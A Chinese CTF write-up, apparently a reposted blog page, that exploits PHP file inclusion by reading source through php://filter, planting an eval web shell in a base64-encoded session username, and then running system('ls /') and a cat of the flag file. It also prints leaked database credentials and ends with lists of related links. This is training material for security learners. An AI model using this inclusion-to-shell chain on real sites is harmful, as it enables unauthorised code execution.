CTF PHP文件包含--session
PHP文件包含 Session
首先了解一下PHP文件包含漏洞----包含session
利用条件:session文件路径已知,且其中内容部分可控。
姿势:
php的session文件的保存路径可以在phpinfo的session.save_path看到。
常见的php-session存放位置:
- /var/lib/php/sess_PHPSESSID
- /var/lib/php/sess_PHPSESSID
- /tmp/sess_PHPSESSID
- /tmp/sessions/sess_PHPSESSID
session 的文件名格式为 sess_[phpsessid]。而 phpsessid 在发送的请求的 cookie 字段中可以看到。
要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。
题目:
http://54.222.188.152:22589/

解题思路:
php伪协议读取源码
点击login,发现链接变为:
http://54.222.188.152:22589/index.php
?action=login.php
首先读取 login.php 的源码
http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-encode/resource=login.php
得到login.php源码:
<?php
require_once('config.php');
session_start();
if($_SESSION['username']) {
header('Location: index.php');
exit;
}
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = md5($_POST['password']);
$mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
if ($mysqli->connect_errno) {
die("could not connect to the database:\n" . $mysqli->connect_error);
}
$sql = "select password from user where username=?";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("s", $username);
$stmt->bind_result($res_password);
$stmt->execute();
$stmt->fetch();
if ($res_password == $password) {
$_SESSION['username'] = base64_encode($username);
header("location:index.php");
} else {
die("Invalid user name or password");
}
$stmt->close();
$mysqli->close();
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="login.php" method="post" class="well" style="width:220px;margin:0px auto;">
<h3>Login</h3>
<label>Username:</label>
<input type="text" name="username" style="height:30px"class="span3"/>
<label>Password:</label>
<input type="password" name="password" style="height:30px" class="span3">
<button type="submit" class="btn btn-primary">LOGIN</button>
</form>
</div>
</body>
</html>
<?php
}
?>
读取 register.php 的源码
访问:
http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-encode/resource=register.php
得到源码:
<?php
if ($_POST['username'] && $_POST['password']) {
require_once('config.php');
$username = $_POST['username'];
$password = md5($_POST['password']);
$mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
if ($mysqli->connect_errno) {
die("could not connect to the database:\n" . $mysqli->connect_error);
}
$mysqli->set_charset("utf8");
$sql = "select * from user where username=?";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("s", $username);
$stmt->bind_result($res_id, $res_username, $res_password);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows();
if($count) {
die('User name Already Exists');
} else {
$sql = "insert into user(username, password) values(?,?)";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
echo 'Register OK!<a href="index.php">Please Login</a>';
}
$stmt->close();
$mysqli->close();
} else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;">
<h3>Register</h3>
<label>Username:</label>
<input type="text" name="username" style="height:30px"class="span3"/>
<label>Password:</label>
<input type="password" name="password" style="height:30px" class="span3">
<button type="submit" class="btn btn-primary">REGISTER</button>
</form>
</div>
</body>
</html>
<?php
}
?>
读取 config.php 的源码
http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-encode/resource=config.php
得到源码:
<?php
$dbhost = 'localhost';
$dbuser = 'web';
$dbpass = 'webpass123';
$dbname = 'web';
?>
读取 index.php 的源码
http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-encode/resource=index.php
源码:
<?php
error_reporting(0);
session_start();
if (isset($_GET['action'])) {
include $_GET['action'];
exit();
} else {
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Login</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="css/bootstrap.css" rel="stylesheet" media="screen">
<link href="css/main.css" rel="stylesheet" media="screen">
</head>
<body>
<div class="container">
<div class="form-signin">
<?php if (isset($_SESSION['username'])) { ?>
<?php echo "<div class=\"alert alert-success\">You have been <strong>successfully logged in</strong>.</div>
<a href=\"index.php?action=logout.php\" class=\"btn btn-default btn-lg btn-block\">Logout</a>";}else{ ?>
<?php echo "<div class=\"alert alert-warning\">Please Login.</div>
<a href=\"index.php?action=login.php\" class=\"btn btn-default btn-lg btn-block\">Login</a>
<a href=\"index.php?action=register.php\" class=\"btn btn-default btn-lg btn-block\">Register</a>";
} ?>
</div>
</div>
</body>
</html>
<?php
}
?>
解题分析:
拿到了源码,首先进行简单的审计一下。
SQL注入?:
有登陆页面,不知道会不会有注入,简单看一下。
往往注册与登陆操作中会有与数据库交互的地方,这也是sql注入的常见引发点。
看一下register.php,这里仅截取部分代码:
# register.php
$mysqli->set_charset("utf8");
$sql = "select * from user where username=?";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("s", $username);
$stmt->bind_result($res_id, $res_username, $res_password);
$stmt->execute();
$stmt->store_result();
再看一下login.php:
# login.php
$sql = "select password from user where username=?";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("s", $username);
$stmt->bind_result($res_password);
$stmt->execute();
$stmt->fetch();
这里都使用了PHP的PDO处理,因此这里存在sql注入的可能性很小。
session
接着再看看,有哪些参数是可控的。
在login.php中:
# 第3行
session_start();
if($_SESSION['username']) {
header('Location: index.php');
exit;
}
# 第8行
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
# 第20行
$stmt->bind_result($res_password);
# 第24行
if ($res_password == $password) {
$_SESSION['username'] = base64_encode($username);
header("location:index.php");
这里使用了session来保存用户会话,php手册中是这样描述的:
- PHP 会将会话中的数据设置到
$_SESSION变量中。 - 当 PHP 停止的时候,它会自动读取
$_SESSION中的内容,并将其进行序列化,然后发送给会话保存管理器来进行保存。 - 对于文件会话保存管理器,会将会话数据保存到配置项 session.save_path 所指定的位置。
考虑到变量$username是我们可控的,并且被设置到了$_SESSION中,因此我们输入的数据未经过滤的就被写入到了对应的sessioin文件中。结合前面的php文件包含,可以推测这里可以包含session文件。
要包含session文件,需要知道文件的路径。先注册一个用户,比如chybeta。等登陆成功后。记录下cookie中的PHPSESSID的值,这里为udu8pr09fjvabtoip8icgurt85
访问:
http://54.222.188.152:22589/index.php?action=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85

这个/var/lib/php5/的session文件路径是测试出来的,常见的也就是上面所述的几种。
base64_encode
能包含,并且控制session文件,但要写入可用的payload,还需要绕过:
$_SESSION['username'] = base64_encode($username);
如前面所示,输入的用户名会被base64加密。如果直接用php伪协议来解密整个session文件,由于序列化的前缀,势必导致乱码。
考虑一下base64的编码过程。比如编码abc。
未编码: abc
转成ascii码: 97 98 99
转成对应二进制(三组,每组8位): 01100001 01100010 01100011
重分组(四组,每组6位): 011000 010110 001001 100011
每组高位补零,变为每组8位:00011000 00010110 00001001 00100011
每组对应转为十进制: 24 22 9 35
查表得: Y W J j
考虑一下session的前缀:username|s:12:",中间的数字12表示后面base64串的长度。当base64串的长度小于100时,前缀的长度固定为15个字符,当base64串的长度大于100小于1000时,前缀的长度固定为16个字符。
由于16个字符,恰好满足一下条件:
16个字符 => 16 * 6 = 96 位 => 96 mod 8 = 0
也就是说,当对session文件进行base64解密时,前16个字符固然被解密为乱码,但不会再影响从第17个字符后的部分也就是base64加密后的username。
Getflag
注册一个账号,比如:
chybetachybetachybetachybetachybetachybetachybetachybetachybeta<?php eval($_GET['atebyhc']) ?>
其base64加密后的长度为128,大于100。
http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85
&atebyhc=phpinfo();

成功getshell。
访问:
http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85&atebyhc=system('ls /');

访问:
http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85&atebyhc=system('cat /fffflllllaaaagggg.txt');

小结
考了几个知识点:
- php文件包含:伪协议利用
- php文件包含:包含session文件
- php-session知识及序列化格式
- base64的基本原理
原文链接(https://chybeta.github.io/2017/11/09/%E4%B8%80%E9%81%93CTF%E9%A2%98%EF%BC%9APHP%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/)
任重而道远!
CTF PHP文件包含--session的更多相关文章
- 实战经验丨CTF中文件包含的技巧总结
站在巨人的肩头才会看见更远的世界,这是一篇技术牛人对CTF比赛中文件包含的内容总结,主要是对一些包含点的原理和特征进行归纳分析,并结合实际的例子来讲解如何绕过,全面细致,通俗易懂,掌握这个新技能定会让 ...
- CTF中文件包含的一些技巧
i春秋作家:lem0n 原文来自:浅谈内存取证 0x00 前言 网络攻击内存化和网络犯罪隐遁化,使部分关键数字证据只存在于物理内存或暂存于页面交换文件中,这使得传统的基于文件系统的计算机取证不能有效应 ...
- CTF之文件包含的猥琐思路
From: i春秋 百度杯”CTF 一: <?php include "flag.php"; //包含flag.php这个文件 $a = @$_REQUEST['hello' ...
- CTF 文件包含与伪协议
正巧在写代码审计的文章,无意间看到了一篇CTF的代码审计,CTF题目很好,用的姿势正如标题,文件包含和伪协议. 先放出原文链接(http://www.freebuf.com/column/150028 ...
- “百度杯”CTF比赛 十二月场_blog(kindeditor编辑器遍历,insert注入,文件包含)
题目在i春秋的ctf训练营中能找到 首先先是一个用户登录与注册界面,一般有注册界面的都是要先让你注册一波,然后找惊喜的 那我就顺着他的意思去注册一个号 注册了一个123用户登录进来看到有个文本编辑器, ...
- CTF 文件包含
目录 一.基本概念 二.本地文件包含 三.远程文件包含 四.具体场景 五.补充 一.基本概念 文件包含 将相同函数写入单独的文件中,需要使用时直接调用 文件包含漏洞 将被包含的文件设置为变量,导致客户 ...
- 一道内部ctf文件包含题
拿到题目 在burp里看下 拿到源码 很明显是一道文件包含题目,包含cookie里的值,于是构造Cookie:language=chinese试试 文件变成中文的了,说明中文语言进行了包含并替换 ...
- 百度杯”CTF比赛 2017 二月场 没错!就是文件包含漏洞。
题目源码: 文件包含漏洞的话,看一下 你么可以使用php://input 伪协议,执行代码(参考了大佬WP)这里使用了POSTMAN, 目录下还有一个dle345aae.php文件,呢么用cat命令打 ...
- 【CTF WEB】文件包含
文件包含 题目要求: 请找到题目中FLAG 漏洞源码 <meta charset='utf-8'> <center><h1>文件阅读器</h1>< ...
随机推荐
- UBUNTU 安装教程
玩过linux,只是博主觉得现在的很多服务器都是linux系统的,而自己属于那种前端也搞,后台也搞,对框架搭建也感兴趣,但是很多生产上的框架和工具都是安装在服务器上的,而且有不少大公司都要求熟悉在li ...
- Stream processing with Apache Flink and Minio
转自:https://blog.minio.io/stream-processing-with-apache-flink-and-minio-10da85590787 Modern technolog ...
- 03C++语言对C的增强——实用性、变量检测、struct类型、C++中所有变量和函数都必须有类型、bool类型、三目运算符
1.“实用性”增强 C语言中的变量都必须在作用域开始的位置定义,C++中更强调语言的“实用性”,所有的变量都可以在需要使用时再定义. 2.C++对c语言register的增强 register关键字 ...
- Linux 定时任务crontab使用
正好要搞一个定时删除数据的功能,想到linux 可设置定时器定时执行任务就学习了下~ 并不是所有的linux服务器上都装了crontab 像我这: [root@hehe local]# crontab ...
- JavaScript编码风格
最近在看前端大牛Nicbolas C.Zakas的<编写可维护的JavaScript代码>一书.觉得里面的很多知识点都写的很好,所以,就写篇博文,总结一下吧!编码规范对于程序设计来说是很重 ...
- laravel 一表關聯二表,二表關聯三表,通過一表controller拿三表數據
model 一表關聯二表 public function ordercode() { return $this->hasOne(\App\Models\OrderCode::class,'id' ...
- Scrapy 爬取BOSS直聘关于Python招聘岗位
年前的时候想看下招聘Python的岗位有多少,当时考虑目前比较流行的招聘网站就属于boss直聘,所以使用Scrapy来爬取下boss直聘的Python岗位. 1.首先我们创建一个Scrapy 工程 s ...
- Jenkins进阶-Git多仓库代码下载编译 (13)
多仓库代码部署这个问题其实在13年做配置管理的时候,就遇到过这样的问题,而最近公司可视化图项目也需要多个仓库代码需要同时下载进行编译,由于仓库之间的代码编译有依赖关系,所以必须同时下载下来按照顺序进行 ...
- 【转】CUDA之Dynamic Parallelism详解
转自:http://blog.csdn.net/Bruce_0712/article/details/63683264 CUDA之Dynamic Parallelism详解(一) 1. 循环的并行化: ...
- oracle删除表垃圾
1,完全删除表: drop table 表名 purge; 2,删除表后永久删除-回收站表 purge table 表名: 3,清空垃圾回收站 purge recyclebin; 4, 查询所有此类表 ...